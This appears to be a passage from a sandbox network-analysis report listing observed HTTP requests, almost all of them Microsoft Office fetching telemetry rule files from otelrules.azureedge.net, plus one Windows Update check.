Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mUcwNRY3HxkAHCU&MD=5oOklbto HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
